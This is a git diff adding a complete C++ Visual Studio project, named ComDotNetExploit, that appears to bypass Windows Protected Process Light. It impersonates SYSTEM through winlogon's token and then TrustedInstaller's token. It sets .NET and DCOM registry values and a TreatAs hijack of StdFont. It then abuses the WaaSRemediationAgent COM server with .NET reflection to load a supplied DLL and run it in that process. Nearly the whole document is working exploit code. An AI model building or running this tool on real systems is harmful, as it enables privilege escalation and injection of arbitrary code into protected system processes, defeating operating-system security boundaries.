diff --git a/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj
new file mode 100644
index 0000000..b153430
--- /dev/null
+++ b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj
@@ -0,0 +1,150 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 17.0
+ Win32Proj
+ {fffd18ed-1660-44aa-8949-e64e0e7330e3}
+ BypassCOMPPL
+ 10.0
+ ComDotNetExploit
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ false
+ MultiThreadedDebug
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.filters b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.filters
new file mode 100644
index 0000000..ec4a360
--- /dev/null
+++ b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.filters
@@ -0,0 +1,45 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+
\ No newline at end of file
diff --git a/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.user b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.user
new file mode 100644
index 0000000..7901e53
--- /dev/null
+++ b/Bypass_COM_PPL/Bypass_COM_PPL.vcxproj.user
@@ -0,0 +1,7 @@
+
+
+
+ C:\debug.dll InjectedPayload
+ WindowsLocalDebugger
+
+
\ No newline at end of file
diff --git a/Bypass_COM_PPL/com_utils.h b/Bypass_COM_PPL/com_utils.h
new file mode 100644
index 0000000..bcb4c06
--- /dev/null
+++ b/Bypass_COM_PPL/com_utils.h
@@ -0,0 +1,24 @@
+// com_utils.h
+#pragma once
+#include
+#include
+#include
+
+class COMAutoRelease {
+public:
+ COMAutoRelease() { CoInitialize(nullptr); }
+ ~COMAutoRelease() { CoUninitialize(); }
+};
+
+template
+class COMPtr {
+ CComPtr ptr;
+public:
+ COMPtr() = default;
+ COMPtr(const COMPtr&) = delete;
+ COMPtr& operator=(const COMPtr&) = delete;
+
+ T** operator&() { return &ptr; }
+ T* operator->() { return ptr; }
+ operator T* () { return ptr; }
+};
\ No newline at end of file
diff --git a/Bypass_COM_PPL/dotnet_interop.cpp b/Bypass_COM_PPL/dotnet_interop.cpp
new file mode 100644
index 0000000..6ed7f62
--- /dev/null
+++ b/Bypass_COM_PPL/dotnet_interop.cpp
@@ -0,0 +1,83 @@
+// dotnet_interop.cpp
+#include "dotnet_interop.h"
+
+long GetSafeArrayLen(LPSAFEARRAY psa) {
+ long ubound = 0;
+ SafeArrayGetUBound(psa, 1, &ubound);
+ return ubound + 1;
+}
+
+mscorlib::_MethodInfoPtr DotNetInterop::GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount) {
+
+ LPSAFEARRAY methods = type->GetMethods_2();
+ mscorlib::_MethodInfoPtr ret;
+ LONG methodCount = GetSafeArrayLen(methods);
+
+ for (long i = 0; i < methodCount; ++i)
+ {
+ IUnknown* v = nullptr;
+
+ if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
+ {
+ mscorlib::_MethodInfoPtr method = v;
+
+ bstr_t name = method->Getname();
+ LPSAFEARRAY params = method->GetParameters();
+ long paramCount = GetSafeArrayLen(params);
+ int choose = 1;
+
+ if (method->IsStatic && wcscmp(name.GetBSTR(), methodName) == 0 && paramCount == pcount)
+ {
+
+ ret = method;
+ break;
+
+
+ }
+ }
+ }
+
+ SafeArrayDestroy(methods);
+
+ return ret;
+ }
+
+mscorlib::_MethodInfoPtr DotNetInterop::GetStaticMethodLoad(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount) {
+
+ LPSAFEARRAY methods = type->GetMethods_2();
+ mscorlib::_MethodInfoPtr ret;
+ LONG methodCount = GetSafeArrayLen(methods);
+ int choose = 0;
+ for (long i = 0; i < methodCount; ++i)
+ {
+ IUnknown* v = nullptr;
+
+ if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
+ {
+ mscorlib::_MethodInfoPtr method = v;
+
+ bstr_t name = method->Getname();
+ LPSAFEARRAY params = method->GetParameters();
+ long paramCount = GetSafeArrayLen(params);
+
+
+ if (method->IsStatic && wcscmp(name.GetBSTR(), methodName) == 0 && paramCount == pcount)
+ {
+
+ if (choose == 2)
+ {
+ ret = method;
+
+ break;
+ }
+ choose += 1;
+
+ }
+
+ }
+ }
+
+ SafeArrayDestroy(methods);
+
+ return ret;
+}
\ No newline at end of file
diff --git a/Bypass_COM_PPL/dotnet_interop.h b/Bypass_COM_PPL/dotnet_interop.h
new file mode 100644
index 0000000..9d6e758
--- /dev/null
+++ b/Bypass_COM_PPL/dotnet_interop.h
@@ -0,0 +1,30 @@
+// dotnet_interop.h
+#pragma once
+#include
+#include
+#include
+#import "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.tlb" \
+ rename("ReportEvent", "_ReportEvent") \
+ rename("or", "_or")
+
+class DotNetInterop {
+public:
+ static mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR methodName, int paramCount);
+ static mscorlib::_MethodInfoPtr GetStaticMethodLoad(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount);
+
+ template
+ static T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector& args) {
+ SAFEARRAY* psa = SafeArrayCreateVector(VT_VARIANT, 0, static_cast(args.size()));
+ for (LONG i = 0; i < static_cast(args.size()); ++i) {
+ SafeArrayPutElement(psa, &i, &args[i]);
+ }
+
+ variant_t ret = method->Invoke_3(variant_t(), psa);
+ T retObj = (ret.vt == VT_UNKNOWN || ret.vt == VT_DISPATCH) ? ret.punkVal : nullptr;
+
+ SafeArrayDestroy(psa);
+ return retObj;
+ }
+
+
+};
diff --git a/Bypass_COM_PPL/main.cpp b/Bypass_COM_PPL/main.cpp
new file mode 100644
index 0000000..9ac8b93
--- /dev/null
+++ b/Bypass_COM_PPL/main.cpp
@@ -0,0 +1,221 @@
+// main.cpp
+#include "com_utils.h"
+#include "registry_utils.h"
+#include "dotnet_interop.h"
+#include "trustinstaller_utils.h"
+#include
+#include
+#include
+
+constexpr CLSID CLSID_DotNetObject = { 0x81c5fe01,0x027c,0x3e1c,{0x98,0xd5,0xda,0x9c,0x98,0x62,0xaa,0x21} };
+constexpr CLSID CLSID_WaaSRemediationAgent = { 0x72566e27,0x1abb,0x4eb3,{0xb4,0xf0,0xeb,0x43,0x1c,0xb1,0xcb,0x32} };
+
+bool InitializeEnvironment() {
+ std::cout << "[+] Setting DcomReflection..." << std::endl;
+ if (!RegistryUtils::SetDcomReflectionEnabled(true)) {
+ std::cerr << "[-] Failed to enable DCOM reflection\n";
+ return false;
+ }
+
+ std::cout << "[+] Setting OnlyUseLatestCLR..." << std::endl;
+ if (!RegistryUtils::SetOnlyUseLatestCLR(true)) {
+ std::cerr << "[-] Failed to set OnlyUseLatestCLR.\n";
+ return false;
+ }
+
+ std::cout << "[+] Setting treatas..." << std::endl;
+ if (!RegistryUtils::SetTreatAs(CLSID_StdFont, CLSID_DotNetObject)) {
+ std::cerr << "[-] Failed to set TreatAs key\n";
+ return false;
+ }
+ std::cout << "[+] Environment initialized successfully\n";
+ return true;
+}
+
+bool ExecutePayload(const std::string& dllPath, _bstr_t staticClassName) {
+ try {
+
+
+ IDispatch* pWaasAgent = nullptr;
+ HRESULT hr = CoCreateInstance(CLSID_WaaSRemediationAgent, nullptr, CLSCTX_LOCAL_SERVER, IID_IDispatch, reinterpret_cast(&pWaasAgent));
+ if (FAILED(hr)) throw _com_error(hr);
+ std::cout << "[+] CoCreateInstance for WaaSRemediationAgent succeeded\n";
+
+ ITypeInfo* pAgentTypeInfo = nullptr;
+ hr = pWaasAgent->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pAgentTypeInfo);
+ if (FAILED(hr)) {
+ std::cerr << "[-] GetTypeInfo failed on pwaas: 0x" << std::hex << hr << '\n';
+ pWaasAgent->Release();
+ CoUninitialize();
+ return false;
+ }
+ std::cout << "[+] Retrieved type info for WaaSRemediationAgent\n";
+
+
+ HREFTYPE href = 0;
+ hr = pAgentTypeInfo->GetRefTypeOfImplType(0, &href);
+ if (FAILED(hr)) {
+ std::cerr << "[-] GetRefTypeOfImplType failed: 0x" << std::hex << hr << '\n';
+ pAgentTypeInfo->Release();
+ pWaasAgent->Release();
+ CoUninitialize();
+ return false;
+ }
+ std::cout << "[+] Retrieved reference type for implementation\n";
+
+ ITypeInfo* pBaseTypeInfo = nullptr;
+ hr = pAgentTypeInfo->GetRefTypeInfo(href, &pBaseTypeInfo);
+ if (FAILED(hr)) {
+ std::cerr << "[-] GetRefTypeInfo failed: 0x" << std::hex << hr << '\n';
+ pAgentTypeInfo->Release();
+ pWaasAgent->Release();
+ CoUninitialize();
+ return false;
+ }
+ std::cout << "[+] Retrieved base type info\n";
+
+
+ COMPtr pStdoleTypeLib;
+ UINT indexInTypeLib = 0;
+ hr = pBaseTypeInfo->GetContainingTypeLib(&pStdoleTypeLib, &indexInTypeLib);
+ if (FAILED(hr) || pStdoleTypeLib == nullptr) {
+ std::cerr << "[-] GetContainingTypeLib failed: 0x" << std::hex << hr << '\n';
+ pBaseTypeInfo->Release();
+ pAgentTypeInfo->Release();
+ pWaasAgent->Release();
+ CoUninitialize();
+ return false;
+ }
+ std::cout << "[+] Retrieved containing type library\n";
+
+ COMPtr pStdFontTypeInfo;
+ hr = pStdoleTypeLib->GetTypeInfoOfGuid(CLSID_StdFont, &pStdFontTypeInfo);
+ mscorlib::_ObjectPtr pStdFontObj;
+ // With:
+ hr = pStdFontTypeInfo->CreateInstance(
+ nullptr,
+ __uuidof(mscorlib::_Object), // Request the .NET _Object interface
+ reinterpret_cast(&pStdFontObj)
+ );
+ if (FAILED(hr)) {
+ std::cerr << "[-] Failed to create .NET object: 0x" << std::hex << hr << '\n';
+ throw _com_error(hr);
+ }
+ std::cout << "[+] Created .NET object\n";
+
+ mscorlib::_TypePtr pType = pStdFontObj->GetType();
+ pType = pType->GetType();
+ bstr_t targetType = L"System.Type";
+ while (pType->FullName != targetType)
+ {
+ pType = pType->BaseType;
+ }
+ std::vector getTypeArgs;
+
+ getTypeArgs.emplace_back(L"System.Reflection.Assembly");
+
+ mscorlib::_MethodInfoPtr getTypeMethod = DotNetInterop::GetStaticMethod(pType, L"GetType", 1);
+ pType = DotNetInterop::ExecuteMethod(getTypeMethod, getTypeArgs);
+ if (pType)
+ {
+ mscorlib::_MethodInfoPtr loadMethod = DotNetInterop::GetStaticMethodLoad(pType, L"Load", 1);
+ if (loadMethod)
+ {
+ // Read DLL into vector
+ // Convert to variant_t(byte array)
+ std::ifstream file(dllPath, std::ios::binary);
+ std::vector buffer((std::istreambuf_iterator(file)), std::istreambuf_iterator());
+ file.close();
+ std::cout << "[+] DLL file read successfully\n";
+ // Convert to variant_t (byte array)
+ variant_t byteArrayVariant;
+ byteArrayVariant.vt = VT_ARRAY | VT_UI1;
+ SAFEARRAY* psa = SafeArrayCreateVector(VT_UI1, 0, buffer.size());
+ void* pvData;
+ SafeArrayAccessData(psa, &pvData);
+ memcpy(pvData, buffer.data(), buffer.size());
+ SafeArrayUnaccessData(psa);
+ byteArrayVariant.parray = psa;
+
+ // Get the correct Load method for byte array
+ std::vector args;
+ args.push_back(byteArrayVariant); // Pass the byte array here
+ mscorlib::_AssemblyPtr assembly = DotNetInterop::ExecuteMethod(loadMethod, args);
+
+
+ if (assembly)
+ {
+ mscorlib::_TypePtr payloadType = assembly->GetType_2(staticClassName);
+ if (!payloadType) {
+ std::cout << "[-] Could not find type " << staticClassName << " in assembly\n";
+ return false;
+ }
+ std::cout << "[+] Found " << staticClassName << " type in assembly\n";
+
+ mscorlib::_MethodInfoPtr mainMethod = DotNetInterop::GetStaticMethod(payloadType, L"Main", 0);
+
+ if (mainMethod) {
+ std::vector mainArgs;
+ DotNetInterop::ExecuteMethod(mainMethod, mainArgs);
+ std::cout << "[+] Executed Main method of InjectedPayload\n";
+ }
+
+ }
+ else
+ {
+ std::cout << "[-] Failed to load assembly.\n";
+ }
+
+
+ }
+
+ }
+
+ return true;
+ }
+ catch (const _com_error& e) {
+ std::cerr << "[-] COM Error: " << e.ErrorMessage() << '\n';
+ std::cerr << "[-] HRESULT: " << std::hex << e.Error() << '\n';
+ return false;
+ }
+}
+
+int main(int argc, char* argv[]) {
+ if (argc < 3) {
+ std::cerr << "Usage: " << argv[0] << " \n";
+ std::cerr << "The static class must contain a 'public static void Main()' method.\n";
+ return EXIT_FAILURE;
+ }
+ std::string dllPath = argv[1];
+ _bstr_t staticClassName(argv[2]);
+ bool success = true;
+ try
+ {
+ // Call the function to impersonate Trusted Installer
+ Elevate::RunAsTrustedInstaller();
+ std::cout << "[+] Successfully impersonated Trusted Installer...\n";
+
+ // Initialize COM and the environment
+ COMAutoRelease com;
+ if (!InitializeEnvironment()) return EXIT_FAILURE;
+
+ // Execute the payload
+ success = ExecutePayload(dllPath, staticClassName);
+
+ // Clean up registry settings
+ std::cout << "[+] Cleaning up registry settings...\n";
+ RegistryUtils::CleanupClsid(CLSID_StdFont);
+ RegistryUtils::CleanDcomReflection();
+ RegistryUtils::CleanOnlyUseLatestCLR();
+
+ }
+ catch (const std::exception& e)
+ {
+ // Catch any exceptions thrown during the execution of the function
+ std::cerr << "Error: " << e.what() << '\n';
+ return EXIT_FAILURE; // Return a non-zero value to indicate an error occurred
+ }
+
+ return success ? EXIT_SUCCESS : EXIT_FAILURE;
+}
+
diff --git a/Bypass_COM_PPL/payload.h b/Bypass_COM_PPL/payload.h
new file mode 100644
index 0000000..87bb487
Binary files /dev/null and b/Bypass_COM_PPL/payload.h differ
diff --git a/Bypass_COM_PPL/registry_utils.cpp b/Bypass_COM_PPL/registry_utils.cpp
new file mode 100644
index 0000000..0429aa7
--- /dev/null
+++ b/Bypass_COM_PPL/registry_utils.cpp
@@ -0,0 +1,97 @@
+// registry_utils.cpp
+#include "registry_utils.h"
+
+bool RegistryUtils::SetDcomReflectionEnabled(bool enable) {
+ HKEY hKey;
+ LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
+ LPCWSTR valueName = L"AllowDCOMReflection";
+
+ LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
+ REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
+ if (result != ERROR_SUCCESS) return false;
+
+ DWORD data = enable ? 1 : 0;
+ result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
+ reinterpret_cast(&data), sizeof(data));
+ RegCloseKey(hKey);
+ return result == ERROR_SUCCESS;
+}
+
+bool RegistryUtils::CleanDcomReflection() {
+ HKEY hKey;
+ LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
+ LPCWSTR valueName = L"AllowDCOMReflection";
+
+ // Open the key first
+ LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey);
+ if (result != ERROR_SUCCESS) return false;
+
+ // Delete the value
+ result = RegDeleteValue(hKey, valueName);
+ RegCloseKey(hKey);
+
+ return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND);
+}
+
+bool RegistryUtils::SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid) {
+ WCHAR originalClsidStr[40], newClsidStr[40];
+ StringFromGUID2(originalClsid, originalClsidStr, 40);
+ StringFromGUID2(newClsid, newClsidStr, 40);
+
+ std::wstring keyPath = std::wstring(L"CLSID\\") + originalClsidStr + L"\\TreatAs";
+
+ HKEY hKey;
+ LONG result = RegCreateKeyEx(HKEY_CLASSES_ROOT, keyPath.c_str(), 0, nullptr,
+ REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
+ if (result != ERROR_SUCCESS) return false;
+
+ // Explicit cast to DWORD
+ DWORD dataSize = static_cast((wcslen(newClsidStr) + 1) * sizeof(WCHAR));
+
+ result = RegSetValueEx(hKey, nullptr, 0, REG_SZ,
+ reinterpret_cast(newClsidStr), dataSize);
+ RegCloseKey(hKey);
+
+ return result == ERROR_SUCCESS;
+}
+
+
+void RegistryUtils::CleanupClsid(const CLSID& clsid) {
+ WCHAR clsidStr[40];
+ StringFromGUID2(clsid, clsidStr, 40);
+
+ std::wstring keyPath = std::wstring(L"CLSID\\") + clsidStr + L"\\TreatAs";
+ RegDeleteTree(HKEY_CLASSES_ROOT, keyPath.c_str());
+}
+
+bool RegistryUtils::SetOnlyUseLatestCLR(bool enable) {
+ HKEY hKey;
+ LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
+ LPCWSTR valueName = L"OnlyUseLatestCLR";
+
+ LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
+ REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
+ if (result != ERROR_SUCCESS) return false;
+
+ DWORD data = enable ? 1 : 0;
+ result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
+ reinterpret_cast(&data), sizeof(data));
+ RegCloseKey(hKey);
+ return result == ERROR_SUCCESS;
+}
+
+bool RegistryUtils::CleanOnlyUseLatestCLR() {
+ HKEY hKey;
+ LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
+ LPCWSTR valueName = L"OnlyUseLatestCLR";
+
+ // Open the key first
+ LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey);
+ if (result != ERROR_SUCCESS) return false;
+
+ // Delete the value
+ result = RegDeleteValue(hKey, valueName);
+ RegCloseKey(hKey);
+
+ return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND);
+}
diff --git a/Bypass_COM_PPL/registry_utils.h b/Bypass_COM_PPL/registry_utils.h
new file mode 100644
index 0000000..bea6885
--- /dev/null
+++ b/Bypass_COM_PPL/registry_utils.h
@@ -0,0 +1,14 @@
+// registry_utils.h
+#pragma once
+#include
+#include
+
+class RegistryUtils {
+public:
+ static bool SetDcomReflectionEnabled(bool enable);
+ static bool SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid);
+ static void CleanupClsid(const CLSID& clsid);
+ static bool SetOnlyUseLatestCLR(bool enable);
+ static bool CleanDcomReflection();
+ static bool CleanOnlyUseLatestCLR();
+};
\ No newline at end of file
diff --git a/Bypass_COM_PPL/trustinstaller_utils.cpp b/Bypass_COM_PPL/trustinstaller_utils.cpp
new file mode 100644
index 0000000..b3f6530
--- /dev/null
+++ b/Bypass_COM_PPL/trustinstaller_utils.cpp
@@ -0,0 +1,222 @@
+// trustinstaller_utils.cpp
+#include "trustinstaller_utils.h"
+
+void Elevate::EnablePrivilege(std::wstring privilegeName)
+{
+ HANDLE hToken;
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
+ throw std::runtime_error("OpenProcessToken failed: " + std::to_string(GetLastError()));
+
+ LUID luid;
+ if (!LookupPrivilegeValueW(nullptr, privilegeName.c_str(), &luid))
+ {
+ CloseHandle(hToken);
+ throw std::runtime_error("LookupPrivilegeValue failed: " + std::to_string(GetLastError()));
+ }
+
+ TOKEN_PRIVILEGES tp;
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
+ {
+ CloseHandle(hToken);
+ throw std::runtime_error("AdjustTokenPrivilege failed: " + std::to_string(GetLastError()));
+ }
+
+ CloseHandle(hToken);
+}
+
+DWORD Elevate::GetProcessIdByName(std::wstring processName)
+{
+ HANDLE hSnapshot;
+ if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
+ {
+ throw std::runtime_error("CreateToolhelp32Snapshot failed: " + std::to_string(GetLastError()));
+ }
+
+ DWORD pid = -1;
+ PROCESSENTRY32W pe;
+ ZeroMemory(&pe, sizeof(PROCESSENTRY32W));
+ pe.dwSize = sizeof(PROCESSENTRY32W);
+ if (Process32FirstW(hSnapshot, &pe))
+ {
+ while (Process32NextW(hSnapshot, &pe))
+ {
+ if (pe.szExeFile == processName)
+ {
+ pid = pe.th32ProcessID;
+ break;
+ }
+ }
+ }
+ else
+ {
+ CloseHandle(hSnapshot);
+ throw std::runtime_error("Process32First failed: " + std::to_string(GetLastError()));
+ }
+
+ if (pid == -1)
+ {
+ CloseHandle(hSnapshot);
+ throw std::runtime_error("process not found: " + std::wstring_convert>().to_bytes(processName));
+ }
+
+ CloseHandle(hSnapshot);
+ return pid;
+}
+
+void Elevate::ImpersonateSystem()
+{
+ auto systemPid = GetProcessIdByName(L"winlogon.exe");
+ HANDLE hSystemProcess;
+ if ((hSystemProcess = OpenProcess(
+ PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
+ FALSE,
+ systemPid)) == nullptr)
+ {
+ throw std::runtime_error("OpenProcess failed (winlogon.exe): " + std::to_string(GetLastError()));
+ }
+
+ HANDLE hSystemToken;
+ if (!OpenProcessToken(
+ hSystemProcess,
+ MAXIMUM_ALLOWED,
+ &hSystemToken))
+ {
+ CloseHandle(hSystemProcess);
+ throw std::runtime_error("OpenProcessToken failed (winlogon.exe): " + std::to_string(GetLastError()));
+ }
+
+ HANDLE hDupToken;
+ SECURITY_ATTRIBUTES tokenAttributes;
+ tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
+ tokenAttributes.lpSecurityDescriptor = nullptr;
+ tokenAttributes.bInheritHandle = FALSE;
+ if (!DuplicateTokenEx(
+ hSystemToken,
+ MAXIMUM_ALLOWED,
+ &tokenAttributes,
+ SecurityImpersonation,
+ TokenImpersonation,
+ &hDupToken))
+ {
+ CloseHandle(hSystemToken);
+ throw std::runtime_error("DuplicateTokenEx failed (winlogon.exe): " + std::to_string(GetLastError()));
+ }
+
+ if (!ImpersonateLoggedOnUser(hDupToken))
+ {
+ CloseHandle(hDupToken);
+ CloseHandle(hSystemToken);
+ throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError()));
+ }
+
+ CloseHandle(hDupToken);
+ CloseHandle(hSystemToken);
+}
+
+int Elevate::StartTrustedInstallerService()
+{
+ SC_HANDLE hSCManager;
+ if ((hSCManager = OpenSCManagerW(
+ nullptr,
+ SERVICES_ACTIVE_DATABASE,
+ GENERIC_EXECUTE)) == nullptr)
+ {
+ throw std::runtime_error("OpenSCManager failed: " + std::to_string(GetLastError()));
+ }
+
+ SC_HANDLE hService;
+ if ((hService = OpenServiceW(
+ hSCManager,
+ L"TrustedInstaller",
+ GENERIC_READ | GENERIC_EXECUTE)) == nullptr)
+ {
+ CloseServiceHandle(hSCManager);
+ throw std::runtime_error("OpenService failed: " + std::to_string(GetLastError()));
+ }
+
+ SERVICE_STATUS_PROCESS statusBuffer;
+ DWORD bytesNeeded;
+ while (QueryServiceStatusEx(
+ hService,
+ SC_STATUS_PROCESS_INFO,
+ reinterpret_cast(&statusBuffer),
+ sizeof(SERVICE_STATUS_PROCESS),
+ &bytesNeeded))
+ {
+ if (statusBuffer.dwCurrentState == SERVICE_STOPPED)
+ {
+ if (!StartServiceW(hService, 0, nullptr))
+ {
+ CloseServiceHandle(hService);
+ CloseServiceHandle(hSCManager);
+ throw std::runtime_error("StartService failed: " + std::to_string(GetLastError()));
+ }
+ }
+ if (statusBuffer.dwCurrentState == SERVICE_START_PENDING ||
+ statusBuffer.dwCurrentState == SERVICE_STOP_PENDING)
+ {
+ Sleep(statusBuffer.dwWaitHint);
+ continue;
+ }
+ if (statusBuffer.dwCurrentState == SERVICE_RUNNING)
+ {
+ CloseServiceHandle(hService);
+ CloseServiceHandle(hSCManager);
+ return statusBuffer.dwProcessId;
+ }
+ }
+ CloseServiceHandle(hService);
+ CloseServiceHandle(hSCManager);
+ throw std::runtime_error("QueryServiceStatusEx failed: " + std::to_string(GetLastError()));
+}
+
+void Elevate::RunAsTrustedInstaller()
+{
+ auto pid = StartTrustedInstallerService();
+ EnablePrivilege(SE_DEBUG_NAME);
+ EnablePrivilege(SE_IMPERSONATE_NAME);
+ Elevate::ImpersonateSystem();
+
+ HANDLE hTIProcess;
+ if ((hTIProcess = OpenProcess(
+ PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
+ FALSE,
+ pid)) == nullptr)
+ {
+ throw std::runtime_error("OpenProcess failed (TrustedInstaller.exe): " + std::to_string(GetLastError()));
+ }
+
+ HANDLE hTIToken;
+ if (!OpenProcessToken(
+ hTIProcess,
+ MAXIMUM_ALLOWED,
+ &hTIToken))
+ {
+ CloseHandle(hTIProcess);
+ throw std::runtime_error("OpenProcessToken failed (TrustedInstaller.exe): " + std::to_string(GetLastError()));
+ }
+
+ HANDLE hDupToken;
+ SECURITY_ATTRIBUTES tokenAttributes;
+ tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
+ tokenAttributes.lpSecurityDescriptor = nullptr;
+ tokenAttributes.bInheritHandle = FALSE;
+ if (!DuplicateTokenEx(
+ hTIToken,
+ MAXIMUM_ALLOWED,
+ &tokenAttributes,
+ SecurityImpersonation,
+ TokenImpersonation,
+ &hDupToken))
+ {
+ CloseHandle(hTIToken);
+ throw std::runtime_error("DuplicateTokenEx failed (TrustedInstaller.exe): " + std::to_string(GetLastError()));
+ }
+
+ if (!ImpersonateLoggedOnUser(hTIToken)) {
+ throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError()));
+ }
+}
diff --git a/Bypass_COM_PPL/trustinstaller_utils.h b/Bypass_COM_PPL/trustinstaller_utils.h
new file mode 100644
index 0000000..937157e
--- /dev/null
+++ b/Bypass_COM_PPL/trustinstaller_utils.h
@@ -0,0 +1,20 @@
+// trustinstaller_utils.h
+#pragma once
+#include
+#include
+#include
+#include
+#include
+#include
+
+class Elevate {
+
+public:
+ static void RunAsTrustedInstaller();
+
+private:
+ static void EnablePrivilege(std::wstring privilegeName);
+ static DWORD GetProcessIdByName(std::wstring processName);
+ static void ImpersonateSystem();
+ static int StartTrustedInstallerService();
+};
\ No newline at end of file
diff --git a/ComDotNetExploit.sln b/ComDotNetExploit.sln
new file mode 100644
index 0000000..5d48f6c
--- /dev/null
+++ b/ComDotNetExploit.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.11.35208.52
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Bypass_COM_PPL", "Bypass_COM_PPL\Bypass_COM_PPL.vcxproj", "{FFFD18ED-1660-44AA-8949-E64E0E7330E3}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x64.ActiveCfg = Debug|x64
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x64.Build.0 = Debug|x64
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x86.ActiveCfg = Debug|Win32
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x86.Build.0 = Debug|Win32
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x64.ActiveCfg = Release|x64
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x64.Build.0 = Release|x64
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x86.ActiveCfg = Release|Win32
+ {FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
